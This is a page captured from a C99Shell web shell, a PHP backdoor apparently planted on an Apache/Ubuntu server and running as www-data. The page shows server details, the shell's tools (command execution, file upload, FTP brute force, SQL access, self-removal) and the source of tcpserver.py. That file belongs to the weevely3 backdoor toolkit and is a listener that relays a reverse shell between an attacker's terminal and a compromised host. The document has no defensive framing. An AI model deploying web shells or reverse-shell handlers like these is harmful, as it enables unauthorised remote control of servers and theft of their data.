!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/backdoor/_reversetcp/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     tcpserver.py (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import select
import socket
import sys

from weevely.core import messages
from weevely.core.loggers import log


class TcpServer:
    def __init__(self, port):
        self.connect = False
        self.hostname = "0.0.0.0"
        self.port = port

        self.socket_state = False

        self.socket = None

        self.connect_socket()

        if not self.socket:
            return

        self.forward_data()

    def connect_socket(self):
        if self.connect:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.connect((self.hostname, self.port))

        else:
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
            except OSError:
                # log.debug("Warning: unable to set TCP_NODELAY...")
                pass

            try:
                server.bind(("0.0.0.0", self.port))
            except OSError as e:
                log.error(messages.module_backdoor_reversetcp.error_binding_socket_s % str(e))
                return

            server.listen(1)

            server.settimeout(3)

            try:
                self.socket, address = server.accept()
            except TimeoutError:
                server.close()
                raise

    def forward_data(self):
        log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected)

        self.socket.setblocking(0)

        while 1:
            read_ready, write_ready, in_error = select.select([self.socket, sys.stdin], [], [self.socket, sys.stdin])

            try:
                buf = self.socket.recv(100)
                while buf != "":
                    self.socket_state = True

                    sys.stdout.write(buf.decode("utf-8", "replace"))
                    sys.stdout.flush()
                    buf = self.socket.recv(100)
                if buf == "":
                    return
            except OSError:
                pass
            while 1:
                r, w, e = select.select([sys.stdin], [], [], 0)
                if len(r) == 0:
                    break
                c = sys.stdin.read(1)
                if c == "":
                    return
                if self.socket.sendall(c.encode("utf-8")) != None:
                    return

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0065 ]--